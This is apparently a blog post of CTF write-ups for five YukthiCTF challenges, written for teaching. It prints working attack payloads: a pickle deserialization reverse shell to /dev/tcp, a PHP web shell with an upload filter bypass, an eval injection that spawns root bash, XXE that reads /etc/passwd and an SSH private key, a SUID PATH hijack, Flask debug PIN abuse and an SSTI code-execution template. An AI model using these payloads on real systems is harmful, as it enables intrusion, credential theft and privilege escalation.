Home Yukthi CTF Writeups
Post
Cancel

Yukthi CTF Writeups

This post contains some writeups of the challenges i solved in YukthiCTF.

Pickle Portal

Mission 1

The challenge had two missions. From the looks of it, it’s obvious that it is a Pickle Deserialization attack.

alt text

The page just has two functions. One is to serialize and the other one is to deserialize whatever we give.

alt text

The serialize function will serialize and give you a base64 encoded str. Vice verse the deserialization func will deserialize the base64 input.

In the code we can see the PortalGun class has exec fucntion being returned with some redacted code.

1
2
3
4
# Secret portal gun object
class PortalGun:
    def __reduce__(self):
        return (exec, ("<missed source>",))

This is convenient for us, cuz we can serialize this Class with our custom input which will be exec’d.

The following code will get us the rev shell.

1
2
3
4
5
6
7
8
9
10
11
12
import pickle, base64

class PortalGun:
  def __reduce__(self):
    import subprocess
    return (exec, ('''import os;os.popen("bash -c '/bin/bash -i >& /dev/tcp/10.11.1.200/5000 0>&1'").read()''',))

p = pickle.dumps(PortalGun())


dat = base64.b64encode(p).decode('ASCII')
print(dat)

alt text

Mission 2

On second mission we have a c source code:

alt text

We have a binary file called mem_destroyer which is a suid binary.

alt text

From the source code, we know that the binary loads mortys_memory.mem file but then sets the low priv user’s uid and calls the shell. But when in that shell we can get into the process directory of that process and see the filesd which are loaded by the process.

/proc/self/fd will land us directly into the process’s file discriptor directory. We can see our file is mapped to descriptor 3. But when try reading, it doesn’t let us.

alt text

But there is a trick with wich we can use cat and read the descriptor content.

Feeding the descriptor to cat by redirecting it will give us the flag.

alt text

Backrooms

This challenge also has two missions.

Mission 1

For the initial mission, there will be an php endpoint in the page which has file upload funtionality. We can upload files, but there will by some restrictions, like we can’t upload files with .php extensions. It can be easily bypassed if we use .php2 extension instead.

The php payload i used for this is:

1
<?php system($_GET['cmd']); ?>

alt text

After uploading we can directly execute our backdoor like below

alt text

Now we can get a reverse shell and read the first flag.

alt text

##Mission 2

For the second mission, we see there’s one python file which can executed as root using sudo.

alt text

Examining that file shows us that our input directly passes into eval

alt text

We just need to give it a markdown file which satisfies all those other constraints.

The following md file will satisfy all those contraints.

1
2
3
4
5
# backrooms
## Ticket to me: John Doe

__Ticket Code:__ 
**4+__import__('os').system('/bin/bash')**

Upon executing the script we get flag. alt text

Fruity

Mission 1

The initial foothold in this challege is XXE. teh /order endpoints get user input and send it to the server. But before sending everything it sends the data in base64 encoded xml format to /tracker.

alt text

Also, the name param is reflected back in the response. So we can inject our xml entity inside the user tag to make the server reflect whatever we want.

alt text

Base64 encoding the xml like following and sending it to the server will get us the file we intend to read.

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
      <userdata>
        <name>&xxe;</name>
        <mail>test</mail>
        <subject>test</subject>
        <comments>test</comments>
      </userdata>

alt text

/etc/passwd tells us there is a user called fruit. We can see if it has ssh key and grab it.

ssh private key, by default will be under /home/$USER/.ssh/id_rsa. In our case /home/fruit/.ssh/id_rsa.

alt text

Now that we got the ssh key, we can directly ssh into the server and get the flag.

alt text

Mission 2

There is one binary file called log_reader unser fruit directory. It is a suid binary which is owned by root, which means it can execute functions as root user.

Directly running the binary shows us some apache logs file. And running strings against the binary give us an hint about what command it might be running on execution.

alt text

If the tail is invoked with it’s absolute path (ie: /usr/bin/tail) it would’ve been not exploitable. But because it is suid bit, we can control the PATH variable and the process will have no other choice then using our PATH. We can create a shell script with /bin/bash as its content and name it tail. Placing it under fruit’s home directory and prepending the home dir path to the PATH environmental variable will fool the binary into looking for tail binary in our Home directory first.

alt text

Executing the suid binary now, will get us the flag.

Operation Warehouse

Mission 1

Initially running Nmap on the ip will tell us there is port 7777 is open.

About US page at the bottom redirect us to the following page. alt text

Looking closely at the URL hints us that the file name is given as parameter here. This screams LFI.

But traversing dirs gives us file not found err.

alt text

We know it is a python app by looking at the Server header in the response. So we can directly see if any app.py or run.py exist in the current folder first.

app.py itself provides us the file. And we have a filter there which sanitize our filename input.

alt text

The function just splits the input with ../ as it’s delimeter and appends the dot (.) inbetween them.

It is easy to bypass if you fiddle around it with a bit.

alt text

Now that we have our payload, we can read files.

alt text

It has a user as well, we can try to read the ssh key from the user. But there is none.

alt text

If we noticed before, the python server was running with debug=True param. alt text

Which means debug console is enabled. We can visit /console and verify.

alt text

If the app is running with Debug enabled and we have file read, we can guess flask debug console pin all by ourselves.

All we would need is machine_id which would be in /etc/machine-id and Mac address of the interface which would be in /sys/class/net/ens33/address.

But there seems to be no /sys/class/net/ens33/address. This might be because there is no ens33 network interface.

alt text

We can list all the interface by grabbing /proc/net/arp.

alt text

There itself we can get the MAC addr (But for some reasons it didn’t work). We can now use the interface name to get the actual mac address.

alt text

Now we need to convert mac into decimal. You can use python or online sites to do that.

1
2
3
>>> print(0x02420a0b0426)
2482659591206
>>>

Now we can grab the machine-id

alt text

Ruuning the code gives us the PIN for the console and we can login.

alt text

alt text

We can execute any python code here. So from here you can get a shell using your personal reverse-shell choice.

alt text

Mission 2

After looking thorugh some stuff, i ran LinEnum, which is one of the auto linux enum scripts like . And it identified an extra capablity set to python.

alt text

GTFOBins has a proof of concept which can be used to escalate this misconfigured capablity.

alt text

Digital Elysium

The challenge description itself tells us that it is ssti.

Initially it just seems like a static site. The source doesn’t have anything intresting as well.

alt text

We can try usual parameters like id,cmd, name and a lot more. But name param itself worked.

We can also try to brute force the param name by using tools like ffuf or wfuzz

alt text

And ssti payload also works in this param.

alt text

We can use the following template to get direct code execution. Refer here for more payload.

1
2
3
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}

alt text

The description told the flag would be in the folder where the password file is.

alt text

They are mentioning the passwd which resides in /etc folder. So the flag is in /etc/. We can get the flag from there.

alt text

This post is licensed under CC BY 4.0 by the author.